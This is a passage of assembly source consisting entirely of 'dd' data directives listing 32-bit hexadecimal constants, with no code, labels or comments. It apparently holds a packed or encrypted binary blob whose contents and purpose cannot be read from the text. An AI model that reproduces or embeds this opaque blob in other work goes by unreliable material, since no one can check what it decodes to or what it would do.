9D8B1155h, 4CC31351h, 6553367Ch, 50211146h, 54F2A010h dd 210FAC11h, 0F2B01058h, 15A4115Ch, 0DF5DC29h, 6822AF5Ah dd 5A93CD82h, 90A80C21h, 64B0C8A4h, 19A032ACh, 0A09159Ch dd 0CE1C3196h, 0F8010748h, 68382E4h, 0D50627D5h, 406A24C4h dd 19B85224h, 0E3C1DDD2h, 956B3F4h, 0E560C18Bh, 6714E42Bh dd 23D1800Fh, 0B0182FA3h, 0A59897C4h, 20B9D08Ah, 3D0D0EF9h dd 420EAC2Ch, 10B2E504h, 503015F2h, 0BF59E1Eh, 0C464CBF4h dd 3B0F6500h, 17A36AD2h, 0B9B20004h, 5E58B5F3h, 4B0CF181h dd 0E43C2CE3h, 28D54B8Ah, 818833CAh, 0EE6A28C9h, 0EBB9AAh dd 0A154DD37h, 34002F44h, 785ED287h, 0E1286Eh, 8280D739h dd 235E9B0h, 8A9DEBBEh, 8B25BCA1h, 8C02D5C4h, 0C7F766DFh dd 187B4904h, 13BF2F94h, 9DF8B514h, 1534EF12h, 7FBC102Bh dd 7040E94Ah, 4DCE5FAh, 17F30261h, 508DAA94h, 550020F9h dd 0EFD6419Dh, 0BA2300BCh, 12582D1Fh, 1C25895Ah, 91C11724h dd 3F8E8016h, 0A1C4B1D8h, 0E912178Ah, 0D180227Ch, 0C699FB4Eh dd 0B4E100BDh, 115BB830h, 24742739h, 0B2684C25h, 76E6E205h dd 1D467E0Bh, 74AEC700h, 0E971642Fh, 892E2300h, 0BC8449B9h dd 0C48B2D06h, 9FADCB10h, 0CE30A00h, 0C180929Bh, 1CD146Ch dd 0B678DEEBh, 0DAEA4249h, 1B11939Dh, 0DAA05A80h, 0DC0486DEh dd 35B6CCFFh, 741E1BB1h, 79F2CCC0h, 0CE02099Bh, 915B3892h dd 0FE37C660h, 0F81907C7h, 20EA5CD5h, 4AC343F1h, 76334709h dd 118E0E50h, 0C0615912h, 0BC88B5Eh, 0BB1EC064h, 6099504Ah dd 8360CA64h, 7FDD7818h, 0A08D0F38h, 788B665Dh, 0FDBD13F2h dd 0B592416Fh, 75B85EE2h, 0E8207CC8h, 4B008C16h, 0BF0FAE3Bh dd 0D3E7FFC9h, 8756E2A0h, 1D00A178h, 163F38Dh, 836F1A51h dd 385759F9h, 181027A4h, 8B60F97h, 0C8FE0140h, 0A875B011h dd 9C5F0212h, 6BB21D9Eh dd 156778D6h, 27E5739h, 0A54B4EE1h, 40FEDC3Bh, 0DF8F920Fh dd 69409500h, 3522A0D2h, 0F8C6A261h, 3375804Bh, 3A860094h dd 0BAB94B42h, 6200CCF9h, 308A1550h, 1619D1BEh, 7B59F08Bh dd 2E6B4B0Eh, 797A0E21h, 181A7909h, 636F077Ah, 0EB4876ADh dd 60274370h, 0C93048E8h, 6AE90116h, 17482FA8h, 19BED493h dd 2A84712Ch, 926BCE00h, 918E0F5Fh, 80692915h, 70338984h dd 6325CE48h, 0B5CE261h, 38598Ch, 0C4325F54h, 153FA830h dd 0E4C2A5D2h, 806424ABh, 0F53054Bh, 7A0B1886h, 84588BC3h dd 0A5D30355h, 0D867B53Fh, 0BA5D2BC6h, 0CCB58E7h, 8FBA66C1h dd 3E04EC4Dh, 0D000B9EEh, 10F081A7h, 0AA417A86h, 83C35649h dd 0FC94113Ch, 0E8062672h, 0D78A679Ah, 68740510h, 0C0575885h dd 0B9505A9Fh, 0A5920B1Fh, 81658F58h, 0D0F001F3h, 83DFB70Fh dd 0D2C340EFh, 273BA810h, 50FF0937h, 0E1C1D7A3h, 0ABA10AEh dd 4D95009Eh, 7E651E0Eh, 4A506E5h, 0E7758CC1h, 6E1E1083h dd 0D92415Ah, 0E45B1080h, 30032093h, 0C4847B82h, 0E00CE061h dd 1A81039Ah, 0EDBC0466h, 3E88483Ch, 281E32F9h, 3FF0046Dh dd 38615046h, 97FE0CBDh, 0B6008D21h, 0FF60E1D3h, 95063103h dd 8C6EEF18h, 41678D39h, 602378FFh, 0D03D1875h, 38C3D27Fh dd 0EF6371h, 0A6450951h, 0B1BD24EAh, 8067853Bh, 0AD8A832Eh dd 0C0CE65Ah, 1F6171A5h, 362A5691h, 6EF098C5h, 8088833Fh dd 66E30301h, 306ADDEFh, 81E013FBh, 3D745EBEh, 0A622E106h dd 74192A97h, 5A111EB5h, 1BF007EDh, 2E6010E2h, 297C07EAh dd 0E63F5EF2h, 0EE5580BEh, 30AC122h, 0FABD35F7h, 18190009h dd 7D41CE69h, 6AC6EF1Fh, 0CC4CEC95h, 145EB8A3h, 0E0C17A9Ah dd 558CBD88h, 32CD4835h, 0BEF09DE5h, 0BD453E04h, 0EEAC4067h dd 811908FBh, 1E637B00h, 83EAA56Fh, 0F948C093h, 4ECFBA2h dd 81E020D0h, 7641426Eh, 0BEE39ED1h, 0E6EC3A18h, 1E211633h dd 0C70C66C1h, 0E0C17105h, 881EE777h, 2648E419h, 5A618541h dd 71EA60D7h, 6DBFE05h, 80D4F8C8h, 44D2A75Eh, 6406B693h dd 76EFE4CFh, 0F4C900C1h, 4CA6042Dh, 0AE1CD726h, 40B2EED4h dd 0CAF20E4h, 602A71ACh, 0D3290E3h, 2ADB10B7h, 6E2C0010h dd 9FF532D2h, 0BE560E04h, 0AC4E070Ch, 984414Eh, 217488E0h dd 0B6BCBF54h, 4D335700h, 97BE3525h, 4979CFF5h, 36AFBD00h dd 0C20CA687h, 0B05240BFh, 37B609D5h, 2C04CFEEh, 0C56E400Dh dd 0E8BE273Bh, 144EC05h, 55085FB1h, 516F8C07h, 0F8D7D2C0h dd 3400BD4Fh, 3775CFCDh, 0DE7FE109h, 8D1CE421h, 175902FBh dd 113A8688h, 3C58401h, 61AE3DF2h, 0A62F0C20h, 0C4DC49D4h dd 60582841h, 0D8E03389h, 9890F321h, 8BF49953h, 0F70C40F7h dd 4654EFDDh, 0FB12E8D0h, 200F2FC8h, 835D6E6Eh, 0F923F5F2h dd 48FC836Ch, 14035602h, 60F75905h, 90301CA4h, 63079FC5h dd 0EFC39A62h, 376900E2h, 0EE6631F5h, 8D00ED0Ch, 0B45D721Fh dd 304C3BAFh, 652962EFh, 0F4E1D578h, 3D04A3B6h, 0F7677192h dd 983F0488h, 0E1288568h, 0ECD7855h, 2D345080h, 2CA0DDD6h dd 15EA722Fh, 59AAC0A8h, 82EA530Ch, 2E61616Fh, 26ED1E6h dd 6DC524A6h, 0CE11C46h, 0BB27023Eh, 0E576A75Ch, 0DC509882h dd 8357B310h, 88281821h, 104E78FBh, 57C83C4h, 308A6DEDh dd 119E9718h, 6A005485h, 9B22A97Fh, 5C46624h, 9360F541h dd 502C1B4Ch, 0F0DC587Ch, 905E7E92h, 0EE40EF1Fh, 0E88F1934h dd 0FD81C1A1h, 44FE758h, 23EA0492h, 81A06C85h, 7561C770h dd 0BA8C6720h, 0FE18C824h, 0BF990974h, 0A880162Bh, 0B3370497h dd 0EC5CE102h, 0C13F3EFBh, 0BAE86E78h, 303C9047h, 0ECB2B0A4h dd 44B0E70Ch, 28044482h, 0BEBCC31Fh, 0F3A63103h, 468D370h dd 93F08F80h, 0F76CC3FAh, 927497E1h, 4E0CF918h, 0FCB818F4h dd 55D1C04Fh, 0B7ADA60Dh, 50819905h, 94214DE3h, 30BEDCEAh dd 8D8F351Eh, 4210F5BFh, 182CD3B4h, 97C14057h, 2C8CB452h dd 53E3C8Dh, 6E421305h, 0A05665C3h, 60BCE4D0h, 8D83291Dh dd 0EA05782Bh, 1CFDACB1h, 83F3B048h, 71697CDEh, 0F8A313D2h dd 483E8F85h, 0AFF50044h, 0CEBF4E12h, 2EC0BFEh, 911AC1h dd 4FCDD0E6h, 2A444C90h, 3FC8B10Ch, 0B835B16h, 540E8E64h dd 0EF6060CCh, 0A2C1C59h, 0BCDEB50Dh, 44489700h, 348D8198h dd 80F859E7h, 0F9183C69h, 0D8260D19h, 13087C29h, 84EA5B44h dd 0E5DA6D22h, 6882D210h, 0DE75F400h, 7107463Ah, 0D0930995h dd 860F6D85h, 0C40C480h, 6400BEC8h, 0CC47FE7Ah, 3FED94D0h dd 0B900ACBCh, 27FF7961h, 4600C77Dh, 0BAB19244h, 0B7EFABh dd 0AA7A80CAh, 0E1986A6Bh, 0A9D34903h, 3838A0Bh, 1442EE18h dd 111820E0h, 0E32904C1h, 1D02E0DFh, 0C33B3E2Ah, 0DA6CB161h dd 0F36381B0h, 31969800h, 0D44D6957h, 0AA8D00F8h, 366A4656h dd 61DE2B7h, 0D2804302h, 18F94D5Bh, 7407FE4h, 8E3FB368h dd 34F19022h, 4205DC4Ah, 0E1722933h, 0DEC2FC00h, 1F7B7886h dd 40D6D4B0h, 0C4056107h, 7D0FB9DDh, 0B4D2B67Ch, 0E84600E3h dd 4291966Ch, 0FBC03DD6h, 473C8280h, 0F3696DEFh, 2E00D7E2h dd 0CC2A8926h, 96155h, 0E2E34F25h, 0AC645D39h, 89189C7Ch dd 0C6F003F5h, 0C8E861F7h, 2031C834h, 680A528Dh, 0A8D5B4D0h dd 4BFB5780h, 8E640Ch, 0DFE021AFh, 0E4327925h, 8700787Fh dd 8C1C3729h, 12CB6AACh, 7D13F5h, 0F073892Ch, 0EE054DA5h dd 0A4656446h, 19B80Bh, 0BE12FFB6h, 0F98000ACh, 83F4BAA6h dd 0E000E51Fh, 0E7983161h, 6E3EC4h, 7288E816h, 46B4BF36h dd 9D06CAF0h, 68716FC9h, 40E81CC9h, 0E4D755EEh, 11BF7516h dd 0C70F054h, 0F59436CCh, 55008911h, 0EC3DE413h, 39B0FCh dd 0F7A87C46h, 2462D442h, 9D00A776h, 5B32EAA4h, 8E9E5Fh dd 773CBDF6h, 2345D93Ah, 227E0100h, 87A38938h, 60C2009Eh dd 0A0301C31h, 3900D87Ch, 0BBAA7BA1h, 3EBEF1Fh, 0E0BA4A37h dd 3C8B049h, 507782D4h, 0CD78F1FCh, 64B831E8h, 32F4FD00h dd 0DC531AAFh, 0F04A26h, 0D4409018h, 1E54F9CEh, 6F1DEDFCh dd 0D740926Bh, 801CFAC3h, 0A480E3Ah, 0FCA05E44h, 565428FFh dd 0E084A902h, 87594582h, 0DE4E9DBDh, 52095F80h, 8B5B26h dd 9637A571h, 349507EFh, 6C72DBA0h, 9B97B214h, 4F520A9Ch dd 0AD07B013h, 55E67086h, 0A3F73E11h, 7BFE2285h, 2CE000F3h dd 2341FB1Ah, 976C5F00h, 0BDE9E0B1h, 841F0067h, 8C939B0Dh dd 0E7006458h, 14F93487h, 4C9A8123h, 0CA008004h, 6DEC50AAh dd 1FB022C6h, 8BFD1902h, 0D555ADC8h, 382C1B00h, 0D603E034h dd 7F06627Ch, 5BCC824h, 68E294h, 76179D1h, 5E3F551Fh, 0E18464Ch dd 0B987B3D2h, 6C200D40h, 0C37A241Ch, 0C163823Ch, 2C48029Bh dd 0C400D286h, 0DA4B45F4h, 0F71F0B1h, 576DCC24h, 808C8A2Ah dd 0FABCF428h, 47005BF7h, 2C0AAA25h, 4A9B4B12h, 23640015h dd 0D6E27ADAh, 0B2379C12h, 728D5443h, 0C5500026h, 0CFD34E71h dd 87001AADh, 64B56C9Bh, 0DBCD04h, 0F2434192h, 6D14946Ah dd 0A2C3C06h, 0F469274Fh, 0B3D800E5h, 0C936EA1Eh, 4E59119Dh dd 0BD251D24h, 0B02C08C1h, 3420E6D6h, 6CB600FAh, 1AAE525Bh dd 0BB1059D0h, 7364C4h, 0CDB20894h, 1BE0F66Ah, 5FA33900h dd 0B70B8B66h, 0F46001CEh, 88C614EEh, 23A0E0A2h, 1A187C09h dd 761D80DDh, 2CCFA589h, 98F41A3h, 34005A70h, 125F6FF2h dd 1736D013h dd 0A731B400h, 511AB97h, 0A26082D6h, 3BC440BBh, 0F4BE541Bh dd 3478E1E1h, 73003A10h, 0C6D61713h, 0DB75AEh, 0CD0A6801h dd 796684E0h, 88DFB52Ch, 0F3173D07h, 3F42F440h, 0B4E10FE4h dd 6C404AB8h, 0C49C6234h, 25DCE609h, 0D9DC0118h, 7BDC84FDh dd 7F11001Dh, 1F9ED7BEh, 0C200E50Dh, 56265D49h, 0CF19958Ch dd 0B3A02930h, 7BEEABC9h, 851FF490h, 0BE8036AFh, 520C611Eh dd 0B046019Eh, 6E74E84Bh, 0E922F499h, 811DF800h, 0C6EBE208h dd 240C0025h, 0ACD35BF5h, 0CD006F7Bh, 7DFC6501h, 7E2A8Ch dd 11A39A5Eh, 9E344D13h, 0F8D4E0A1h, 890007AAh, 0CE085E95h dd 727755D7h, 3FCB0097h, 7A87D110h, 8C000426h, 0A17D203Ah dd 0B090A070h, 985F0008h, 6B5C4B48h, 0BA4A0ECCh, 161A3000h dd 0B3307Eh, 616E8CE8h, 1CDDD9BFh, 35711500h, 6C8AEEB4h dd 0E441E62h, 592E0020h, 0A3981EFAh, 0F4CA5200h, 21B5270Fh dd 6F0B0B3Bh, 480023F6h, 0B2D9ED74h, 82663300h, 956D0554h dd 971C00A6h, 7464F93Ah, 3EFAB32Ch, 0DD55E400h, 0E0FA5659h dd 0ED3D0044h, 7178B9FDh, 9C3BD5ABh, 0AA38002Dh, 0BD2412D7h dd 395A006Fh, 0C0DE56E5h, 4001697h, 239F3760h, 82517Ah dd 71305BC8h, 846A0F6h, 49A9C900h, 7F6D2FD7h, 3F03EE66h dd 0F000EA2Ah, 13CBC1E1h, 289C564Bh, 0A8548A84h, 0FC2CF890h dd 0A08215EEh, 0B9749C6Eh, 0F2F58040h, 0C4EB435Fh, 2A02BE98h dd 5A857BDEh, 2E45074h, 0A1515B18h, 468A23Bh, 0A4007226h dd 6195A373h, 3A210993h, 8B801A4Bh, 6C31B8E9h, 0DE00DF08h dd 7D7CB5C9h, 58E0D1B7h, 400B619h, 0AF98FCA5h, 38005C4Eh dd 593DEECFh, 40B3CD68h, 24A2352h, 7A8B2C40h, 13413262h dd 0C06D8D22h, 5A618FE8h, 0C6783F0h, 64835911h, 0B9E6EAh dd 6EC14AECh, 569A2343h, 601358C0h, 6B0E603h, 0B120958Fh dd 0C242398Dh, 4029351Eh, 0BFDD4DDCh, 0E1EE1937h, 39EA5900h dd 761287EDh, 0C62E003Fh, 413A6E24h, 0E3176C2Bh, 9442BBE4h dd 80C3647Eh, 0C152E228h, 7AEE3A5Ah, 9EEC5605h, 0A57048E0h dd 0C403Ch, 1A835842h, 18E63BF4h, 0C6080A01h, 7B823919h dd 16EEC3E4h, 8F260EAFh, 0FCCAD3F4h, 0CE04010h, 1803D797h dd 2736258Dh, 429A9002h, 22A7AA22h, 8D013A10h, 29BA218Eh dd 0A18511C2h, 76580422h, 19580018h, 0ABAA9E7Ah, 0F769008Dh dd 5FC1D974h, 981E721Ch, 4240A8A4h, 0EB92DEC8h, 48B40EB0h dd 0E40118B1h, 20DDCD5Dh, 0A316C12Eh, 8C0340E2h, 0AA135F46h dd 99E4C3C4h, 98743BDAh, 556313BBh, 0A5131Eh, 0DBF2AA8Ch dd 36025EF4h, 0CFCB1229h, 184A7CAh, 54F00850h, 98892B5h dd 46FF9B37h, 0C8E4F8A0h, 0DE4D4260h, 0BD9100F4h, 0B38C285Ch dd 0C588C043h, 0E5B03375h, 0FDD10D05h, 0B043785Fh, 292CE9h dd 0C9280249h, 3FADEF97h, 71A4A649h, 0AC300600h, 31EAC26Bh dd 2B55131Dh, 603C00DDh, 0B185AD8Ch, 8E900E00h, 9A861BA2h dd 63931E6Bh, 0C0525Ah, 0BB2C9F0h, 800EAE8h, 4D960E94h dd 308406DCh, 0A6208AF9h, 9000F4B9h, 999BCF58h, 7B0AAE6h dd 7C8FB5FEh, 170DC0EBh, 0DA00140Ch, 0E51FFB9Fh, 3D5B5Ah dd 8C1B8FF1h, 14287C52h, 4BC98D00h, 0D976EF8Bh, 0F4B10161h dd 5A7210D8h, 0FAF2300Fh, 25E9DA00h, 0B745BE30h, 2C573D95h dd 6346E880h, 0C5763664h, 9F4D4E0Ah, 59809415h, 13F28AA6h dd 0EF0D077Ch, 0F0CE25E8h, 218B10CDh, 0D0E6A800h, 38910BEBh dd 0A4C83860h, 0C0FC6D14h, 79A30F00h, 1BD59FEh, 0A0744D00h dd 75C1A63Ch, 323501E7h, 0FDF9366Bh, 26842E34h, 92A2FC00h dd 450478h, 1756CA2Eh, 0A0A3A541h, 0B7D950Fh, 50D48048h dd 58EB81Ch, 57EE0A14h, 0FDDC80FCh, 3000BCACh, 0EF091189h dd 35D70D37h, 80904D36h, 0C8C9DFB3h, 7D018494h, 14F513A9h dd 9400E42Ch, 78AFBBEDh, 2201EEA0h, 24E57BDDh, 60247D18h dd 0E8A95DBCh, 6726635h, 41503D20h, 0ECF09D26h, 24E43F9Dh dd 0C3C06A1Dh, 0D2C784A2h, 72B600BAh, 131D4348h, 0A500791Bh dd 41199E96h, 4D45AD7h, 0EAED6B88h, 0EB388071h, 12B87AD0h dd 9C2D5900h, 0AB6FF64Ah, 0B0FD0077h, 65B91C2Ah, 1201C6B7h dd 0AC858752h, 7C28BA16h, 0DC364600h, 0AE4AE968h, 9D00BBF6h dd 29440779h, 2EEC6FD1h, 566A842h, 80F85264h, 44A0FB44h dd 2B385Ch, 0FD2DD410h, 0A9B83EDh, 42D2B3D1h, 4F5607A4h dd 0BEC65003h, 84A86D94h, 9B753501h, 81DF5D0Ah, 988294F8h dd 0A00BCAD0h, 1473ABA0h, 89A0007Ah, 0F25C9599h, 0EB075736h dd 0F9E5AFDAh, 6DC34CF0h, 7EAD1BCBh, 50F770F1h, 0D02D4B0Ah dd 7FCDB90Eh, 7541004Eh, 0EE6C809h, 29C75182h, 2E7CFC60h dd 8800A27Bh, 6B98C460h, 0AB3FD510h, 0D64FB8A8h, 54AAA072h dd 8CF00578h, 0C0112DE8h, 5CEC40BCh, 0C3C95161h, 8083D1D0h dd 0E160A434h, 180298E8h, 63008E77h, 0BAE8D9BBh, 18FA1E3Bh dd 317D284Ch, 0A5003C10h, 0E1D89391h, 0E84D2701h, 0FE5D0042h dd 0F3745662h, 5C003619h, 328B4F87h, 38647AE2h, 8F85B79Fh dd 1997213h, 98DCF098h, 7B3024F9h, 415DF600h, 5C94BA12h dd 73A901D0h, 2AEEC76Fh, 68C45007h, 8D1537D6h, 25D84057h dd 21380594h, 38C0A0C5h, 0AACE09h, 31E51448h, 0A36DF34Dh dd 9E74A20Fh, 0BCF00A9h, 0F23982h, 0B8478F07h, 0DB7749E8h dd 7A66C200h, 3FD2C0B9h, 0ED610090h, 1BEF0FECh, 7DE2B4E9h dd 0DF04AD75h, 0C5E403B6h, 0BCBEACD3h, 0E181B140h, 0FB002CFAh dd 8B6F0E49h, 5C6B95A4h, 8C0E662Bh, 0D67618h, 0E85A78CFh dd 9314C17Dh, 0D435F6h, 0AFFDEA5Dh, 136B56FFh, 496964CBh dd 0EC8BD058h, 0F631D901h, 0BCA86401h, 1AB23712h, 3D7B4800h dd 2C548869h, 8714E330h, 83B3F545h, 4BE08260h, 860E1F35h dd 5D0A2EF0h, 2AE25CC5h, 55B05587h, 2CE354C7h, 92544E41h dd 0BC68001Ah, 0E7296BDh, 0CD294F09h, 2F1B895Bh, 87C805Ch dd 7E61044h, 8F36B2ACh, 55EC9014h, 8E90E4C4h, 37B1A900h dd 8E0FA5EFh, 0E298C24Fh, 5880B7E3h, 1FFD59AEh, 1E495100h dd 67520958h, 0DDB10066h, 3F7773AAh, 8B1604D8h, 0BB015E61h dd 3D8E12E5h, 0B5A720h, 9BA896F7h, 15B4D86Ah, 6E07C2FEh dd 550AECAh, 9838BF30h, 0D0AB2E82h, 5D140BFFh, 4C20B70Bh dd 28562EF2h, 0E40080FEh, 31575986h, 722DF4F5h, 0AC7A49h dd 6C4A84E2h, 465C3816h, 6926100h, 0F26ACBB0h, 3F1700ECh dd 2303595Dh, 2F481E07h, 59C0248h, 0A7E65231h, 34049EA8h dd 8DE85CA2h, 284D25h, 0B05A4144h, 640484BBh, 3802C112h dd 668014A2h, 0C9F961EBh, 0F739220Eh, 580D83D9h, 7C20789Ch dd 1CDA00E1h, 390B1DDFh, 7100F1B2h, 8AC7BA5Ah, 0D91278h dd 0FD22FF2Ah, 85ED50B6h, 6C7A891Eh, 40B1415Eh, 8C292661h dd 89C14280h, 6E037625h, 6C2C4102h, 51BC8AE4h, 0C8C41060h dd 5338B06Ah, 70949BECh, 3D0E666h, 0B95A4981h, 18A886EFh dd 9B004CF9h, 597F1FACh, 3D27EBEAh, 0DD00BECAh, 60E1A026h dd 8D0C207Dh, 793C97ADh, 7B5F0345h, 4F132981h, 0CBBD52C8h dd 32584000h, 22C35068h, 0E5620089h, 0B7BB34D3h, 0C1FE8B15h dd 7E03B9F4h, 0BF2BC2A4h, 6C8AC8B5h, 0C99A30FFh, 88F4BE30h dd 0A8121276h, 9C9476FCh, 0D7B8042Fh, 91F3C403h, 961C2EFh dd 0AC7C0D18h, 300069h, 962F548Dh, 48B20814h, 94AE4B88h dd 11111428h, 8A62129h dd 5C90A9CCh, 48288784h, 0AB3142CAh, 0E214024h, 10FE122Ah dd 7489B7FBh, 36440208h, 652284E2h, 119842B1h, 162133F7h dd 90BFA308h, 3B4B848Ch, 0B3423A48h, 21B024BAh, 2E120528h dd 488550A4h, 8DF45A4h, 0C0425214h, 21C82484h, 46120612h dd 24F67F11h, 1E3E40FCh, 0C18084h, 93D256B2h, 3C3F21C5h dd 87F9110Bh, 606461C4h, 7900AE4h, 78D36A96h, 2079026Ch dd 955858D8h, 89B31CA4h, 249AACBh, 0C0170E24h, 2C310C9h dd 6A67657h, 6C5AC87Fh, 193E12Fh, 9D2C16F0h, 13E7C0D4h dd 580D08Fh, 0C08259A7h, 0CF7FDB40h, 2E0B000h, 1AFE9FDEh dd 1BE213h, 0C2A341EFh, 0E426DC64h, 7360E55Dh, 17BB4500h dd 520D83D5h, 0CBD0651h, 10829570h, 910A3E3Bh, 4F01AFAEh dd 1BA4C997h, 8D78C85Ah, 0BE081800h, 12834D45h, 1D9A134Ah dd 78EE1535h, 0D00F4848h, 0C07D9602h, 8EEFBDD3h, 660086A0h dd 162A8C0Eh, 30C9CD06h, 0F9100154h, 0F5052748h, 4D9DEC5Dh dd 9C41C185h, 3EBE1272h, 5828EDF1h, 0A1548100h, 15F7C33Ch dd 0DEF0C01Fh, 0BA26F480h, 3845011h, 7275B718h, 0EBEFC2DCh dd 4FBE7203h, 0DA3AB000h, 3E3C7C42h, 0F868FF14h, 86B5811Fh dd 10243FE7h, 5BBFDB00h, 30D266E1h, 9BAF0079h, 0B7EEFA53h dd 6B742FE7h, 0C3AA100h, 2A884552h, 0B5143861h, 0AE337B00h dd 63954374h, 0FE3C8A00h, 0A16C0B4Ah, 0C4733F6Fh, 0BE96A203h dd 0B3C833AAh, 68B878FBh, 5367BF00h, 0C87115D1h, 316200B0h dd 0F9E64A6Ah, 51005D33h, 0AEF68A90h, 0F2F013Dh, 0EBB17A47h dd 6D80353h, 42F0BC10h, 780064BBh, 0CBD745FCh, 25BF16A9h dd 0BC4841A3h, 52FEEE4Ah, 85C4B801h, 531216EAh, 77E5C60h dd 0C5BF5BFFh, 7C0541E9h, 1C4820CAh, 0A8A9BCA0h, 0B5EE8200h dd 0BF53E21Dh, 0A6F0010Fh, 0B862184Ch, 3B42CD9h, 8DFF895Dh dd 3844F0FAh, 98AE8CCh, 85AB4FEBh, 1D390020h, 7D44E024h dd 4E5104D6h, 0ED449Ch, 8814FEC7h, 43A425F8h, 209098E1h dd 8F25DD88h, 9A6480F6h, 60766AD6h, 45ED116Fh, 8BA03869h dd 78035C95h, 3161EC86h, 0AB3780F9h, 35A8A862h, 3C980076h dd 7BEDFB93h, 0BA3E58F8h, 0A9610FF3h, 1E91E073h, 1CD2CDB3h dd 0C0830CC2h, 1727E874h, 0C11E95B9h, 0AC01FF8h, 0C9D54F72h dd 43F90065h, 79F2E730h, 3A0067E1h, 0FFA36286h, 301AA7Bh dd 4FDF05B1h, 78B197D8h, 7A21D4FAh, 0CCA580A1h, 5E00EB74h dd 9C314EFBh, 7F9FB733h, 0F82C00D1h, 5A82C449h, 0BD00209Eh dd 0C51B8D01h, 21865Ch, 88B444D0h, 0C95BF7D4h, 80913F39h dd 0CEC3546Fh, 0F894DA9h, 63CA2C4Eh, 0FEFF6B21h, 5296FC28h dd 19573600h, 5D5AA79h, 0B7F500C9h, 1B8C9E0Ch, 91005F3Dh dd 0DA4BCE2Ch, 52C4E2h, 18A13F50h, 0B82A01A9h, 9326F000h dd 5EBFEC79h, 0A5710E3Bh, 12587Fh, 301A2350h, 408065FAh dd 58B4CCh, 0B54CA8B4h, 0F9037B67h, 91D3CF46h, 4EAAE0EEh dd 2C9E00BAh, 0F574E802h, 0C200465Ah, 2E12F683h, 2EF0B2Fh dd 0B52B9975h, 5041D52Ch, 12F141ACh, 828025B8h, 3C3D3958h dd 33506176h, 9D11024h, 3579A589h, 0F8091050h, 0A039D8C2h dd 5F69BD2Ch, 25D20718h, 0D0F908C3h, 914EE272h, 4B0568B0h dd 2F29331h, 0DA76E800h, 6E56ACh, 0FC84A019h, 18746B2Ah dd 8127FD00h, 0AB5D39A7h, 6D3101EFh, 0DFFB7BC5h, 2A8D2026h dd 40E8C400h, 4EA61F35h, 980200CEh, 179216F1h, 1174084Ah dd 6C514900h, 70316B55h, 1FE609F9h, 5200EF12h, 995645Dh dd 0C9488061h, 94804BDFh, 668C3D2h, 49EAFAF4h, 0C4DE7400h dd 4FE13D75h, 8EAA25FEh, 0F2E56440h, 0F1DCD01h, 34A9AF96h dd 3D7460E6h, 1416008Ah, 248F3BCEh, 0C509746Eh, 807FBA1Fh dd 68F444C8h, 4AAD2592h, 831954C0h, 0EB463F02h, 56AE976Bh dd 0A6F40964h, 438018A2h, 0FDFA59C0h, 58C0304Ah, 83EF85h dd 5031ED21h, 0D252094Fh, 617F8F25h, 9EF86354h, 82181302h dd 872C5EC3h, 1569DABh, 0E96DCFD6h, 2282CE0h, 0BE3298A8h dd 7E58C08Bh, 1B9000A6h, 0AB14110Ah, 54005D59h, 99CFC730h dd 576995h, 50C91F24h, 943C108Ah, 0B85C280Fh, 0C14BAA64h dd 803B521Fh, 4E71332Ah, 3B62CED0h, 0B080677Eh, 0F9BDE573h dd 0D31FA94Dh, 0BAFFBBh, 0E88492C3h, 95ACAD89h, 5CE4A0AEh dd 26F22074h, 0CBF8007Ah, 7F49035Fh, 0F41E7C14h, 5A00872Eh dd 5837FC69h, 0AD460043h, 193B5615h, 6E1F4985h, 0A240E04Eh dd 53B39978h, 0F61D4810h, 0FE5EB602h, 5064C338h, 1C5F211Dh dd 8F00E3E4h, 0F4241FCBh, 0A49F16BDh, 205CA1FCh, 0B70F345Ch dd 206280E4h, 10D1DDBBh, 0E09E09h, 6E608EE2h, 2413F240h dd 94C122B8h, 5820A79Ch, 23F300C8h, 0F3F25B9h, 3402F26Bh dd 11702A89h, 844C5EDDh, 0F05A3B59h, 7200DE94h, 8FA5FBC4h dd 2C5E4016h, 0FA07692h, 0A0A0EB1Ah, 0D1D6EC10h, 5C980404h dd 94C06DBDh, 1763933Fh, 0B5A96Fh, 0F19551CBh, 0A80F3417h dd 20BEA724h, 0C488A3C5h, 0AB42006Fh, 4B2AC68Eh, 7D00CBEFh dd 318FF4B9h, 622C65h, 7F1B2746h, 9050BE56h, 1A58D8FCh dd 0F73301AEh, 64E26F6h, 582F0E0h, 7B21EAE0h, 90A85Ah dd 0F27E6CA0h, 2C8D44Bh, 9B8715ACh, 0ECC0A659h, 0CAF84EF1h dd 3E1AAE00h, 1408E28Ch, 0E63A0055h, 0B256E362h, 0EB008FCEh dd 8B39150Fh, 98D4CCD5h, 914C1260h, 7598F019h, 7CF72304h dd 7C90A3A2h, 658B43h, 1C0985DBh, 3BBA31EEh, 0B100F8EAh dd 0BDE49BE8h, 806283h, 0DE1B3CEh, 68D6E6D1h, 60D95B00h dd 0F0A3DAE7h, 14B50321h, 0C43A7444h, 0F2EE3DA0h, 0BBEB4300h dd 2B289503h, 0C96F0B05h, 5040F5B3h, 0B4A36450h, 0EDEA4898h dd 6490C04Ah, 0C13EA2h, 10294EF7h, 0CFD1B06Ah, 35004AF6h dd 0FD4D84E4h, 7B66C890h, 0F9BB00ECh, 2D3FFBE3h, 0CB269F37h dd 3803749Ch, 87D6F81Ah, 3E227900h, 0BD540078h, 5F2896E6h dd 3AEA290Bh, 60C42025h, 805514h, 0AF220CA9h, 7D764270h dd 0F04A4C98h, 542058D5h, 0CBCF4Dh, 23B727F2h, 9A60FC5Ah dd 0E46AA80Fh, 9F5C003Eh, 38B6F488h, 0E2016449h, 5F5B39E5h dd 0E4B1D3FDh, 864C304Dh, 12BFB22h, 75EC4096h, 28B77DA1h dd 9DC700A0h, 5BD23442h, 16F730CBh, 28409419h, 0C18ECC00h dd 0D349ADD8h, 96220EFAh, 3F448FA7h, 328ED0Ch, 736CA65h dd 0E9DB932Fh, 0BC4021CDh, 26FD32h, 305B1C0Dh, 0C793F484h dd 0B2FE9400h, 34C972Eh, 6D35132Ah, 47C300C9h, 0D89487C8h dd 0BCBDB90Eh, 73A3C0F0h, 0E5FBA5h, 8DB7A4FDh, 91750746h dd 3B7A6526h, 49012F00h, 39A36CE8h, 48003D8Bh, 0E599D52Dh dd 8A181CA7h, 3F306998h, 6B5F00EEh, 0B2F6420Eh, 83006733h dd 58BADE99h, 19437C2h, 6110F001h, 30F2DCFBh, 524E4638h dd 482C5880h, 83AD002Ah, 515899E5h, 0F07AF13Dh, 0A6285603h dd 0C06CCA38h, 0BC615EAh, 967F445Ah, 0F16B5840h, 8977ED38h dd 8132AA53h, 0E5D94838h, 3D0BE208h, 200C95CBh, 0CAE48CF8h dd 0F9370E66h, 121E44A5h, 0BEC0C05Ah, 0D400EE12h, 0CA9606EFh dd 8B11E5h, 59F2F537h, 